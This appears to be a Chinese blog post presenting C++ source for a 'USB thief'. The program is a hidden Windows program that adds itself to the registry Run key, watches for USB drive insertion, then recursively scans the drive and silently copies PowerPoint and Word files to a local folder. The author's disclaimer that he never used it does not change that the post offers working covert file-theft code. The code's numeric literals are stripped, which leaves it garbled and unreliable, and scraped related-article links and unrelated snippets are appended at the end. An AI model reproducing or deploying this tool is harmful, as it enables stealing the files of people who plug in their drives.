U盘小偷——C++实现U盘插入检测和文件扫描拷贝
前几天女朋友说老师上课的PPT不共享,没法复习,想着写个U盘小偷拷贝PPT来着,后来觉得这样的行为这是不对的,万一不小心复制了老师的专利啥的,或者一些不可描述的东西,就闹大了。
虽然没有采取实际行动,但是相关的功能还是实现,技术共享。
重点就是U盘插入监控,获得U盘盘符,开机自启动,文件扫描和复制。
1.对u盘插入行为监控,并获得盘符
当U盘插入的时候会产生一个消息WM_DEVICECHANG,只要我们获得这个消息,然后进行处理就行。
为了获得消息,我们需要一个窗口
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
PSTR szCmdLine, int iCmdShow)
{
static TCHAR szAppName[] = TEXT("UUUUUU");
HWND hwnd;
MSG msg;
WNDCLASS wndclass; wndclass.style = ;
wndclass.lpfnWndProc = WndProc;
wndclass.cbClsExtra = ;
wndclass.cbWndExtra = ;
wndclass.hInstance = hInstance;
wndclass.hIcon = ;
wndclass.hCursor = ;
wndclass.hbrBackground = ;
wndclass.lpszMenuName = NULL;
wndclass.lpszClassName = szAppName; SetAutoRun(TRUE);
if (!RegisterClass(&wndclass))
{
MessageBox(NULL, TEXT("Program requires Windows NT!"),
szAppName, MB_ICONERROR);
return ;
}
hwnd = CreateWindow(szAppName, NULL,
WS_DISABLED,
, ,
, ,
NULL, NULL, hInstance, NULL);
while (GetMessage(&msg, NULL, , ))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}
窗口回调函数:
LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM
lParam)
{
switch (message)
{
case WM_CREATE: //处理一些要下面要用到的全局变量
U[] = ':'; SetTimer(hwnd, TIMER, , );//启动计时器 return ;
case WM_TIMER: //timer message SendMessage(hwnd, WM_DEVICECHANGE, , );//检测有没有插入设备消息 return ;
case WM_DEVICECHANGE:
OnDeviceChange(hwnd, wParam, lParam);
return ;
case WM_DESTROY:
KillTimer(hwnd, TIMER);
PostQuitMessage();
return ;
}
return DefWindowProc(hwnd, message, wParam, lParam);
}
OnDeviceChange函数是对WM_DEVICECHANGE消息的处理,在这个函数里,就可以实现对u盘插入行为的监控,并处理。
LRESULT OnDeviceChange(HWND hwnd, WPARAM wParam, LPARAM lParam)
{
PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;
switch (wParam)
{
case DBT_DEVICEARRIVAL: //插入
if (lpdb->dbch_devicetype == DBT_DEVTYP_VOLUME)
{
PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;
U[] = FirstDriveFromMask(lpdbv->dbcv_unitmask);//得到u盘盘符
//MessageBox(0, U, "Notice!", MB_OK);
string Utemp;
Utemp = U;
// Utemp += "\\";
Filesearch(Utemp, ); //搜索u盘
CopyPPT(FileList); //复制ppt
CopyDOC(FileList); //复制doc
//MessageBox(0, "Copy Success", "Notice!", MB_OK); }
break;
case DBT_DEVICEREMOVECOMPLETE: //设备删除
//MessageBox(0, "u盘退出", "Notice!", MB_OK);
break;
}
return LRESULT();
}
FirstDriveFromMask(lpdbv->dbcv_unitmask);可以获得盘符,有了盘符,U盘就相当于一个普通的文件夹了。 2.文件遍历 查找 搜索 复制
void Filesearch(string Path, int Layer)
{
FileInfo FileInfomation;
struct _finddata_t filefind;
string Current = Path + "\\*.*"; // 修改此处改变搜索条件
int Done = , i, Handle;
string FullPath;
if ((Handle = _findfirst(Current.c_str(), &filefind)) != -)
{
while (!(Done = _findnext(Handle, &filefind)))
{
if (strcmp(filefind.name, "..") == )
continue;
for (i = ; i <Layer; i++)
printf("\t");
if ((_A_SUBDIR == filefind.attrib)) // 是目录
{
printf("[Dir]:\t%s\n", filefind.name);
Current = Path + "\\" + filefind.name;
Filesearch(Current, Layer + ); // 递归遍历子目录
}
else
{
printf("[File]:\t%s\n", filefind.name);
FullPath = Path + "\\" + filefind.name;
FileInfomation.Name = filefind.name;
FileInfomation.FullPath = FullPath;
FileList.push_back(FileInfomation);
FullPath.empty();
}
}
_findclose(Handle);
}
} void CopyPPT(vector<FileInfo> FileList)
{
mkdir("C:\\Destest");
for (auto iterator = FileList.cbegin(); iterator != FileList.cend(); ++iterator)
{
string TempPath;
//printf("%s\r\n", iterator->); if ((int)(iterator->Name.find(".ppt")) > )
{
TempPath = DesPath + "\\" + iterator->Name ;
BOOL bOk = CopyFileA(iterator->FullPath.c_str(), TempPath.c_str(), false);
cout << GetLastError();
if (bOk == TRUE)
{
// MessageBox(0, "Copy Success", "Notice!", MB_OK); }
else
{
// MessageBox(0, "Copy Fail", "Notice!", MB_OK);
}
} }
} void CopyDOC(vector<FileInfo> FileList)
{
mkdir("C:\\Destest");
for (auto iterator = FileList.cbegin(); iterator != FileList.cend(); ++iterator)
{
string TempPath;
//printf("%s\r\n", iterator->); if ((int)(iterator->Name.find(".doc")) > )
{
TempPath = DesPath + "\\" + iterator->Name;
BOOL bOk = CopyFileA(iterator->FullPath.c_str(), TempPath.c_str(), false);
cout << GetLastError();
if (bOk == TRUE)
{
// MessageBox(0, "Copy Success", "Notice!", MB_OK); }
else
{
// MessageBox(0, "Copy Fail", "Notice!", MB_OK);
}
}
}
}
3.开机自启动 注册表实现
void SetAutoRun(BOOL bAutoRun)
{
HKEY hKey;
char* strRegPath = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";//找到系统的启动项
if (bAutoRun)
{
if (RegOpenKeyEx(HKEY_CURRENT_USER, strRegPath, , KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) //打开启动项
{
TCHAR szModule[_MAX_PATH];
GetModuleFileName(NULL, szModule, _MAX_PATH);//得到本程序自身的全路径
RegSetValueEx(hKey, "U盘检测", , REG_SZ, (const BYTE*)(LPCSTR)szModule, strlen(szModule)); //添加一个子Key,并设置值,"Client"是应用程序名字(不加后缀.exe)
RegCloseKey(hKey); //关闭注册表
}
else
{
// MessageBox("系统参数错误,不能随系统启动");
}
}
else
{
if (RegOpenKeyEx(HKEY_CURRENT_USER, strRegPath, , KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS)
{
RegDeleteValue(hKey, "U盘检测");
RegCloseKey(hKey);
}
}
}
Win10下可以实现功能,另外这不是控制台程序,为了实现对消息的监控,这得是窗口程序。
猥琐的小程序可能包含一些奇淫技巧,但是还是不能做非法不道德事。
U盘小偷——C++实现U盘插入检测和文件扫描拷贝的更多相关文章
- 读"U盘小偷"有感
作者: sudami 嘿嘿,今天终于有时间学习自己喜欢的东西了,在kanxue里看到一篇关于U盘小偷的文章:http://bbs.pediy.com/showthread.php?p=381656#p ...
- 锻造完美U盘小偷:活用消息机制
锻造完美U盘小偷:活用消息机制作者:灰狐来源:灰狐's Blog 注:本文已发表在<黑客防线>2008年第1期,转载请注明出处. 以前经常看到有人做出一些蛮有意思的小工具,其中最多的似乎就 ...
- U盘启动盘的制作与U盘重装系统
网上有各种各样的装系统的方法,也有各种不同的操作系统版本. 本文介绍如何有UtraISO将U盘制作成系统启动盘,本文用于制作的系统是纯净的32位win7旗舰版. 可到http://itellyou.c ...
- u盘装系统,u盘安装win7系统教程
http://www.upanboot.com/tool/anzhuang_win7.html 可以用本教程给笔记本.台式机.上网本和组装电脑通过U盘安装Win7系统. 步骤一.首先要准备一个至少8G ...
- 虚拟机下怎么连接U盘,如何使用U盘?一策书(湘岳阳万江波)的随笔
准备在虚拟机下,制作U盘启动盘.安装了U盘制作软件,插上U盘却无法识别到.打开虚拟机进行设置,添加USB设备,提示:已达到最大值.怎么回事呢? 原来还需要在宿主机上进行设置. 在宿主机上,运行:ser ...
- U盘启动盘的制作--用U盘硬装Windows系统、或是重装Windows系统
借助IT天空的优启通U盘启动盘的制作--用U盘装Windows系统.或是重装Windows系统之U盘启动盘的制作 1.==================================== 2.== ...
- Linux下U盘的挂载和文件的拷贝
把文件通过U盘拷贝到linux系统下插好U盘后,查看磁盘情况fdisk -l正常情况下有 Disk /dev/sda:2045 MB,2045247488 bytes47 heads,46 secto ...
- U盘开发之安全U盘
普通型安全U盘,虚拟KEY和U盘两个设备,由主机软件分别对KEY和U盘进行操作,U盘与上位机采用usb mass storage接口,KEY采用HID接口,两者均无需驱动.也有虚拟成光盘和U盘两个设备 ...
- 48.Linux-普通U盘以及多分区U盘自动挂载
在上章学习33.Linux-实现U盘自动挂载(详解)后,只是讲解了普通U盘挂载,并没有涉及到多分区U盘,接下来本章来继续学习 1.多分区U盘和普通U盘区别 1)U盘插上只会创建一个/dev/sda文件 ...
随机推荐
- HN669打包工具--打包工具使用文档
打包工具主要包含下载更新资源文件以及打包两个部分 一.下载更新资源文件 1.终端进入工具根目录,即HN669SDK_iOS目录,并运行./api.sh脚本 2.输入游戏id (note:此游戏id为我 ...
- bzoj 3944: Sum(杜教筛)
3944: Sum Time Limit: 10 Sec Memory Limit: 128 MBSubmit: 4930 Solved: 1313[Submit][Status][Discuss ...
- [Xcode 实际操作]三、视图控制器-(9)在Storyboard中使用标签和按钮控件
目录:[Swift]Xcode实际操作 本文将演示标签和按钮在故事板中的应用. 在欢迎串口中,点击创建一个新的项目[Create a new Xcode project] [Single View A ...
- jsp 文件上传操作
文件上传 1:完成一个文件上传的功能 index.jsp 注意更换form表单的enctype enctype就是encodetype就是编码类型的意思. multipart/form-data是指表 ...
- scrapy框架爬取蜂鸟网的人像图片
今天有点无聊,本来打算去蜂鸟网爬点图片存起来显得自己有点内涵,但是当我点开人像的时候就被里面的小姐姐所吸引了,下面就是整个爬图片的思路和过程了 第一步:先创建一个爬虫项目 scrapy startpr ...
- CollectionUtils.select 集合筛选
import org.apache.commons.collections.CollectionUtils;import org.apache.commons.collections.Predicat ...
- 得到RequestVO
import java.io.IOException; import java.nio.charset.Charset; import javax.servlet.ServletInputStream ...
- vue——踩坑
打包的时候,要记得改一下这个配置路径~ 教程:https://www.cnblogs.com/wanf/p/7871787.html
- Spring学习(一)IOC
Spring是一站式框架: (1)Spring在javaee三层结构中,每一层都提供不同的解决技术. web层:SpringMVC service层:Spring的Ioc dao层:Spring的J ...
- HttpResponseCache的使用缓存cache
为什么要用cache? 我们可以通过传递类似上次更新时间这样的参数来制定查询某些数据.同样,在下载图片的时候,server那边最好能够减少图片的大小,而不是让我们下载完整大小的图片. 之前我们在软件开 ...